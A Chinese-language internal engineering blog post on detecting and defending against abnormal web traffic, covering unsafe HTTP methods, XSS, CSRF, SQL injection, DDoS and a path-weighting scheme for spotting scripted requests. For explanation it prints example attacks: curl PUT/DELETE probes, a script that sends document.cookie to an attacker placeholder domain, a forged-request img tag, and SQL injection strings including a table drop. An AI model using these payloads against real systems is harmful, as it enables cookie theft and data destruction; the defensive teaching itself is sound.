异常流量监控与防御

• 2023-03-20
• 作者： 王海波
• 分类：网络知识
• 访问量：635

• 一、异常流量定义
• 二、常见的web攻击及应对方法
  • 2.1、服务渗透
    • 2.1.1、危害
    • 2.1.2、原理
    • 2.1.3、攻击方法
    • 2.1.4、预防
  • 2.2、XSS攻击
    • 2.2.1、危害
    • 2.2.2、原理
    • 2.2.3、攻击方法
    • 2.2.4、预防
  • 2.3、CSRF攻击
    • 2.3.1、危害
    • 2.3.2、原理
    • 2.2.3、攻击方法
    • 2.2.4、预防
  • 2.4、SQL注入
    • 2.4.1、危害
    • 2.4.2、原理
    • 2.4.3、攻击方法
    • 2.4.4、预防
  • 2.5、DDoS攻击
    • 2.5.1、危害
    • 2.5.2、原理
    • 2.5.3、预防
• 三、我们遇到的刷接口情况
  • 3.1、刷赞
    • 3.1.1、背景
    • 3.1.2、刷赞手段
    • 3.1.3、如何防御
  • 3.2、刷订单查询接口
    • 3.2.1、背景
    • 3.2.2、刷单手段
    • 3.2.3、如何防御
• 四、针对模拟正常请求如何监控和防御
  • 4.1、整体思路
  • 4.2、如何识别异常请求
    • 4.2.1、关键路径加权方式
• 五、TODO

一、异常流量定义

市面上对异常流量的定义很宽泛，不同的领域定义差别很大。

针对我们米车生活，所谓的异常流量主要包括：常见的web攻击、刷接口等。

二、常见的web攻击及应对方法

2.1、服务渗透

2.1.1、危害

通过请求url编辑、查看服务上的文件

2.1.2、原理

服务启用了不安全的HTTP方法

除了我们常用GET、POST还有很多HTTP方法，如下：

option	作用
PUT	向指定的目录上载文件
DELETE	删除指定的资源
COPY	将指定的资源复制到目标地址消息头指定的位置
MOVE	将指定的资源移动到目标地址消息头指定的位置
SEARCH	在一个目录路径中搜索资源
PROPFIND	获取与指定资源有关的信息，如作者、大小与内容类型
TRACE	在响应中返回服务器收到的原始请求

2.1.3、攻击方法

非法用户可以通过渗透测试编辑服务商的文件

比如使用curl测试：

curl -v -X OPTIONS http://www.example.com/test/

查看响应的 Allow: GET, HEAD, POST, PUT, DELETE, OPTIONS

curl -v -T test.html  http://www.example.com/test/test.html

看是否能上载来判断攻击是否生效。

找一个存在的页面，如test2.html

curl -X DELETE http://www.example.com/test/test2.html

如果删除成功，则攻击有效。

2.1.4、预防

想想，如果我们的服务放开了这些OPTION后果会怎样。

不过幸好SpringMVC帮我们做了工作，默认情况下，只支持GET、HEAD、OPTION

如果想支持POST

@RequestMapping (value = "/uploadLicence" , method = {RequestMethod.POST}, produces = MediaType.APPLICATION_JSON_UTF8_VALUE)

2.2、XSS攻击

2.2.1、危害

全称是跨站脚本攻击（Cross Site Scripting），盗取用户cookie，破坏页面结构，重定向到其他网站;

2.2.2、原理

攻击者利用网站漏洞，在网站中输入恶意的HTML代码，当用户浏览该网站时，这段代码会被自动执行。

理论上所有可以输入的地方没有对输入的数据进行处理，都会存在XSS攻击。

2.2.3、攻击方法

比如有一个发表文章的页面，内容中有这样一段代码

<script>window.open(“www.XXXX.com?param=”+document.cookie)</script> //www.XXXX.com为攻击者的服务器域名

如果我们没有对内容进行处理，直接入库，下次用户再次打开这篇文章，浏览器会自动执行这段脚本，然后就把用户的cookie发送到了攻击者的服务商上

2.2.4、预防

• 对用户输入的信息进行处理，只允许合法的值;
• 针对一些可执行标签，后端在接收到参数时按需求进行过滤或者直接不允许提交

2.3、CSRF攻击

2.3.1、危害

全称是跨站请求伪造(cross site request forgery)，攻击者可以盗用你的身份，以你的名义发邮件、盗取账号、购买东西、转账等等

2.3.2、原理

经过5个步骤，B站点成功模拟了用户的正常请求，在可信站点A上进行了非法操作

2.2.3、攻击方法

举个最简单的例子

某电商网站A，你购买时候支付的操作是：http://www.market.com/Transfer.php?bankId=11&money=1000;

某危险网站B，他有段代码是 <img src=http://www.market.com/Transfer.php?bankId=11&money=1000>

在A网站支付了1000rmb之后，访问了B网站之后发现又扣了1000rmb

当然会有很多拦截过滤会规避重复扣款，上面只是举个例子。

当然还有更复杂的攻击方法，这里不多做说明，有兴趣的同学可以到网上查一些资料深入了解。

2.2.4、预防

1）、验证HTTP的Referer字段

根据HTTP协议，在HTTP头中有一个字段叫Referer，它记录了该HTTP请求的来源地址。在通常情况下，访问一个安全受限页面的请求必须来自同一个网站。

比如：订单支付请求，Referer中的域名肯定当前网站的域名，如果不是，则不能把请求发给银行支付网关。

当然此法是最基本的预防方法，在抓包时，请求头中Referer是明文可以看到的，Referer是可以篡改和伪造的。

2）、不用cookie作为权限验证依据

跨站攻击利用cookie进行攻击，安全受限的页面和接口可以增加token认证，具体业务流程方式不同。

3）、图像验证码

当然不可能在接口层面使用验证码，一些用户体验优先的页面也不会使用验证码

4）、cookie中包含一串hash值

XSS攻击防御做好的前提下，攻击者理论上是没发获取cookie的，窥探不到cookie中的数据，这样后端可以生成一个有时效性或者使用次数的加密参数给前端放到cookie里面，请求后端的时候后端验证cookie中的这个加密参数是否合法

2.4、SQL注入

2.4.1、危害

通过sql命令伪装成正常的http请求参数，传递到服务器端，服务器执行sql命令造成对数据库进行攻击

2.4.2、原理

攻击者通过请求参数传入可执行的sql语句，完成对数据库的攻击

2.4.3、攻击方法

举两个例子

1）' or '1'= '1  这是最常见的sql注入攻击，比如登录的时候，密码输入' or '1'= '1，那么我们查询用户的语句 select * from user where username='' and password='' 就变成了 select * from user where username='' and password='' or '1'= '1'

通过这样的方式就可以成功登录

2）';drop table user;-- 这个比较严重，可以直接删表。语句 select * from user where username='' and password='' 就变成了 select * from user where username='jiajun' and password='';drop table user;--'  进而变成了三条语句

select * from user where username='jiajun' and password='';

drop table user;

--'

2.4.4、预防

1）正确使用mybatis会完全规避sql注入攻击

2）sql语句不能用代码拼接

3）做最坏的打算，数据库中的敏感信息比如：密码 要使用密文存储

2.5、DDoS攻击

2.5.1、危害

分布式拒绝服务攻击，简单说就是发送大量请求是使服务器瘫痪

2.5.2、原理

• SYN Flood：攻击方伪造ip发出链接请求，根据tpc三次握手规则，服务器回响应一个报文，可是这个ip是伪造的，报文回应给谁呢？服务端只会不停的尝试第二次握手，并且收到不到第三次握手，服务器一直在维护一个半链接。如果攻击者伪造了大量的ip并发请求，那么服务器将维护一个非常大的半链接等待列表，占用大量资源，最后服务器瘫痪。
• CC攻击：模拟正常用户发送大量请求，知道该网站宕机

2.5.3、预防

最直接的方法是增加带宽。目前的云服务提供商有自己的一套完成DDoS解决方案，我们其实并不需要关心ip地址伪造的DDoS攻击

但是CC攻击，我们是需要建立一套完善的异常流量监测与防御体系的，因为攻击者模拟的是正常用户，请求方式、数据、结果都是正常的，只能通过用户行为数据+业务数据 结合起来推断出是攻击者发出的请求并有针对性的拦截

总结：

攻击方式	关键
服务渗透	HTTP的OPTION只开GET、POST、HEAD、OPTION 其他一律关闭，不可使用
XSS攻击	关键是脚本，利用恶意脚本发起攻击，后端要做好参数校验
CSRF攻击	关键是借助本地cookie进行认证，伪造发送请求，做好参数混淆和token验证，具体问题具体分析
SQL注入	关键是通过用sql语句伪造参数发出攻击，严格按照标准使用mybatis
DDoS攻击	关键是通过手段发出大量请求，最后令服务器崩溃，如何识别这些请求是我们下一次分享要展开说的

异常流量防御并不是只做一点或者一个方面的工作就可以达到效果，需要各种防御和安全措施配合共同达到目的。

三、我们遇到的刷接口情况

3.1、刷赞

3.1.1、背景

曾经有个运营活动，热门评论上榜者有米币奖励

3.1.2、刷赞手段

用户可以利用M站看到点赞接口，通过更换设备id很轻易的完成刷赞操作

3.1.3、如何防御

在进入文章详情页时，文章详情接口会返回一个只能用一次的加密串，使用3des进行加密的，点赞的时候把这个加密串传给后端解密成功则可以完成一次点赞。

优点：相同的加密串只能用一次；伪造的加密串解密会失败不能完成点赞

不足：可以写脚本先访问详情页，再拿到加密串完成点赞

目前的防御措施提高了被攻击的门槛，同时结合人工识别刷赞可以保证最终的点赞结果不收攻击者刷赞影响。

3.2、刷订单查询接口

3.2.1、背景

无

3.2.2、刷单手段

目测只是简单无脑的重复调用查询订单接口

3.2.3、如何防御

当时的手段是从程序中写死，直接进制这个用户调用查询订单接口

之后我们开发了ng层的全局黑名单，以及api层的黑名单，但这些都是后知后觉的，如何在用户发起攻击之后短时间内发现并采取主动防御手段，是我们要研究的课题。

四、针对模拟正常请求如何监控和防御

4.1、整体思路

步骤	工作描述	阶段	实现方式
1	ng日志实时汇集上报到一处	已完成	LCS-接入指南 nginx日志收集方案
2	用户访问路径统计和关键路径抽取，得到正常用户访问的参照数据	调研中	目前数据已经写到es中，可以用es的api完成数据统计，但目前es只保留15天数据，数据量有限 其他方式：使用数据工厂提供的其他服务（待调研）
3	通过算法获得与正常的参照数据差异较大的访问行为并做记录 即通过计算识别异常请求	调研中	目前想到的方式：关键路径加权 需要集思广益
4	初期数据可能不准容易误伤，因此只监控，不自动针对异常行为进行拦截和干预，人工判断并设置黑名单	未开始
5	检测一段时候后针对异常行为进行自动干预和拦截	未开始

4.2、如何识别异常请求

4.2.1、关键路径加权方式

基本原理：

以订单查询为例

1）关键路径：商城首页  →  订单列表  →  订单详情

2）节点权重设定：

• 节点越深权重越大
• 前提需要预估一个用户走完整个链路各个节点的访问次数

节点深度	节点	权重	预估正常访问次数
1	商城首页	0	1
2	订单列表	1	1到3次
3	订单详情	2	1到3次

3）权值计算

权值最低：0*1 + 1*1 + 2*1 = 3

权值最高：0*1 + 1*3 + 2*3 = 9

那么可以假设正常用户行为权值范围 [3-9]

4）用户后退重新请求情况

用户从深度为3的节点返回深度深度为2的节点，权值需要先减去深度3的权值再加深度为2的节点权值

比如用户操作流程：

商城首页（深度1 权值0） → 订单列表 （深度2 权值1）→ 刷新了下订单列表（深度2 权值1） → 订单详情 （深度3 权值2）→ 返回订单列表（深度2 权值1） → 订单详情（深度3 权值2） → 退出

用户权值计算：0 + 1 + 1 + 2 - 2 + 1 + 2 = 5

当然用户可以一直先后退到订单列表再查订单详情，这样数据

5）异常流量干预与拦截

权值超过9的视为异常请求，根据具体规则再进行人工或者自动加入黑名单

这是根据用户统计的路径，还需要根据设备id和ip进行统计，统计结果作为加入黑名单的依据

6）辅助

想要精准有效的识别异常请求，仅仅靠上上面的逻辑是不够的，还需要有以下的逻辑：

• 记录针对同一个接口调用返回失败过多的用户、设备、ip，所谓的失败包括：参数校验失败、返回无数据、操作失败、系统异常
• 针对有名的爬虫厂商或软件不做拦截

7）总结

识别模拟真实用户的异常流量需要多维度的数据分析和计算

五、TODO

5.1、更好的识别异常请求的方式及调研

5.2、调研结果分享